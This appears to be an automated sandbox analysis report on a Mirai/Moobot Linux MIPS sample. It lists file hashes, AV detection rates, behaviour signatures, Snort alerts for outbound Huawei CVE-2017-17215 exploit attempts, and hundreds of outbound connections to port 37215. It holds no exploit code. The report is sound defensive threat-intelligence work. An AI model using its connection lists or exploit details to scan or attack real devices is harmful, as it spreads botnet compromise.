Linux Analysis Report
6lqMB7o2Ts.elf

Overview

General Information

Sample Name:	6lqMB7o2Ts.elf
Original Sample Name:	1f34c5bcd411c95d5bdff565afd27afd.elf
Analysis ID:	830828
MD5:	1f34c5bcd411c95d5bdff565afd27afd
SHA1:	39a1f8fff95e7c4d693d0d3fbc2d49749f3ba395
SHA256:	a9b25052579b7f41a1f985ed6d95f0eef2f00e8ad0e9a16dafad5ea38cb1b128
Tags:	32elfmipsmirai
Infos:

Detection

Mirai, Moobot

Score:	92
Range:	0 - 100
Whitelisted:	false

Signatures

Yara detected Mirai

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Yara detected Moobot

Snort IDS alert for network traffic

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Sets full permissions to files and/or directories

Yara signature match

Executes the "mkdir" command used to create folders

Uses the "uname" system call to query kernel version information (possible evasion)

Executes the "chmod" command used to modify permissions

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Detected TCP or UDP traffic on non-standard ports

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Sample has stripped symbol table

Sample tries to set the executable flag

HTTP GET or POST without a user agent

Executes commands using a shell command-line interpreter

Executes the "rm" command used to delete files or directories

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Signatures

AV Detection

Multi AV Scanner detection for submitted file

Source: 6lqMB7o2Ts.elf	ReversingLabs: Detection: 58%
Source: 6lqMB7o2Ts.elf	Virustotal: Detection: 60%			Perma Link

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45516 -> 77.136.237.160:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:41076 -> 41.238.196.116:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:50306 -> 103.54.44.133:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:46544 -> 104.128.127.228:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45438 -> 34.120.131.8:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:55228 -> 94.187.108.185:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:52002 -> 191.61.26.79:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:58734 -> 41.239.25.98:37215

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 197.58.58.97 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 77.136.237.160 ports 1,2,3,5,7,37215

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 45516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 41076
Source: unknown	Network traffic detected: HTTP traffic on port 45516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 58734
Source: unknown	Network traffic detected: HTTP traffic on port 50306 -> 37215

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443

Detected TCP or UDP traffic on non-standard ports

Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.177.188.105:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.59.173.161:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.84.173.102:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.172.201.119:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.88.124.244:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.234.113.162:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.240.223.204:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.159.13.122:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.187.14.3:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.109.52.196:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.28.198.60:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.48.46.102:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.213.200.22:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.108.205.143:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 148.94.3.83:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.37.53.79:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.156.162.199:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.205.17.4:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.173.117.4:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.35.113.47:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.18.245.29:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.91.82.148:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.249.225.91:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.38.65.127:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 153.6.146.12:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.165.42.202:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 221.4.37.244:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 207.233.206.196:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 76.155.143.172:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.85.67.18:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.222.143.196:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.115.11.233:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.60.205.239:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.100.148.206:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 62.145.68.134:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.228.77.157:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 180.9.6.101:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 61.98.120.1:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.20.252.229:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 38.159.96.79:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.227.185.30:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.0.84.190:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.177.127.55:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.88.204.252:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.95.151.221:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.149.105.154:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.89.253.13:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.25.121.167:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.6.247.30:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.33.174.150:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.85.159.199:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.74.67.240:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.101.97.14:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 72.105.46.194:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.181.81.43:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 90.189.98.38:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.47.217.188:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.53.85.60:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.79.9.215:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.231.20.205:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.200.222.12:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.237.79.227:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.221.78.232:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.70.163.165:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.173.1.78:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 39.11.52.215:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.208.122.69:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 60.244.169.67:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.175.165.248:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.222.26.180:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.170.213.152:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.157.122.250:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.252.111.132:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.193.188.233:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.49.20.65:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.221.204.112:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.66.25.180:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 38.94.45.213:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.218.37.131:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.27.94.129:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.40.41.133:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.45.140.191:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 201.102.113.173:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.4.146.200:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.233.163.132:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.181.83.105:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.170.166.174:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.84.230.108:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.131.241.193:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.76.57.13:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.178.19.72:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.216.63.67:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.157.223.144:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.213.69.195:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.37.128.221:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.196.110.94:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.16.173.74:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.203.63.11:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.187.144.11:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.33.111.40:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.74.23.111:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 146.238.227.27:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.176.94.235:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 86.155.94.81:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.175.181.215:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.173.71.251:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 198.15.1.201:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.153.241.212:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.89.244.139:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 67.252.98.100:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.125.243.20:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.45.54.208:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.232.199.81:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.65.189.176:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.130.203.61:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 168.56.211.65:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.117.93.173:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 5.135.215.213:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.121.244.152:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 159.143.125.74:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.218.239.134:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.76.40.1:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.161.136.224:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 93.5.212.115:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.112.162.222:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 39.101.148.79:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.131.164.178:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 208.207.242.174:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.202.81.56:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.10.30.139:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.69.69.9:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.35.209.190:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.51.146.28:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.91.8.203:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.98.167.173:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.146.12.1:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.230.148.58:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.164.224.120:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 210.25.222.64:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 207.145.133.155:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 165.171.226.227:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.29.121.238:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.163.79.24:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.99.234.240:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 201.78.150.25:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.215.20.118:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.122.22.41:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 166.113.228.152:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 112.218.90.87:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 97.92.78.162:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.169.168.133:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 198.5.217.190:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.60.227.81:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.184.71.65:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.221.201.213:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 74.236.70.52:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 116.100.9.39:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.79.180.63:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 189.174.177.254:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.126.147.170:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 140.93.135.199:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 54.188.192.48:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.63.220.29:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 150.0.60.233:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.36.240.186:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.226.68.244:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 64.10.186.178:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.69.238.131:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.233.154.15:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 58.226.162.206:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.55.193.230:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.125.197.128:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.182.174.79:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 69.83.219.112:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.38.86.193:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.85.205.131:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.213.24.63:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 134.190.152.220:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.253.223.244:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.47.56.173:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.185.50.219:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.20.29.122:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.72.17.75:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.124.166.79:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.20.241.32:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.88.85.192:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.47.113.7:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.151.220.158:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.88.92.72:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.227.84.0:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.175.194.66:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.50.8.60:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.116.61.247:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 86.15.251.124:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.66.60.155:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.98.6.175:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 222.174.170.16:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.205.195.251:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 98.102.137.200:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.234.186.5:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.141.239.51:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 102.141.11.70:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 112.98.190.143:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.177.204.42:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 100.132.82.172:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.171.133.96:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.73.69.76:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.27.173.59:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 119.78.176.156:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.190.2.59:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.129.224.216:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.152.155.173:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.217.202.68:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.233.128.161:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.169.135.188:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.85.221.42:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 209.82.222.25:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.179.238.7:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.216.42.101:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 69.202.115.178:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.42.192.223:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.123.74.171:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 142.251.5.98:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.203.54.36:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.54.52.190:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 220.178.173.216:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.229.197.100:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.53.201.225:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.147.127.175:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.181.63.165:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 60.214.213.136:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.9.27.187:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.208.47.133:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 194.169.86.200:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.0.202.73:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.12.98.36:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.244.194.220:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.197.133.86:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.17.114.225:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.24.249.56:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.37.50.88:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.128.190.118:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.117.118.41:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.162.139.194:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.83.6.7:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.13.244.123:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 117.28.75.130:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.62.149.43:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.232.30.181:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.147.2.149:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.228.104.131:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.147.75.250:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.187.150.20:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.37.213.34:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 113.99.209.165:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 68.21.203.199:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.245.247.5:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.72.161.198:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.245.218.239:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.98.9.17:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 111.43.181.192:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.99.173.199:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.12.225.113:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.167.37.188:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.230.139.9:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.246.98.79:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.55.0.228:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.30.182.219:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 219.244.131.228:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.136.252.150:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 12.132.113.30:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.251.171.187:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.251.169.24:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.59.159.190:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.58.165.177:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.124.56.84:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 115.56.52.84:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.193.125.179:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 83.60.93.234:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.28.106.231:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 97.255.231.170:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.183.175.56:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.177.77.32:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 2.215.94.215:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 95.181.128.30:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 205.204.141.64:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 72.123.244.201:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.57.138.106:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.197.7.209:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 185.84.156.230:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.156.190.123:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.124.3.227:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.144.170.247:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.255.234.231:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.142.165.71:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.197.160.153:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 41.200.205.38:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.198.73.194:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 197.203.51.52:37215
Source: global traffic	TCP traffic: 192.168.2.23:36142 -> 157.44.116.137:37215
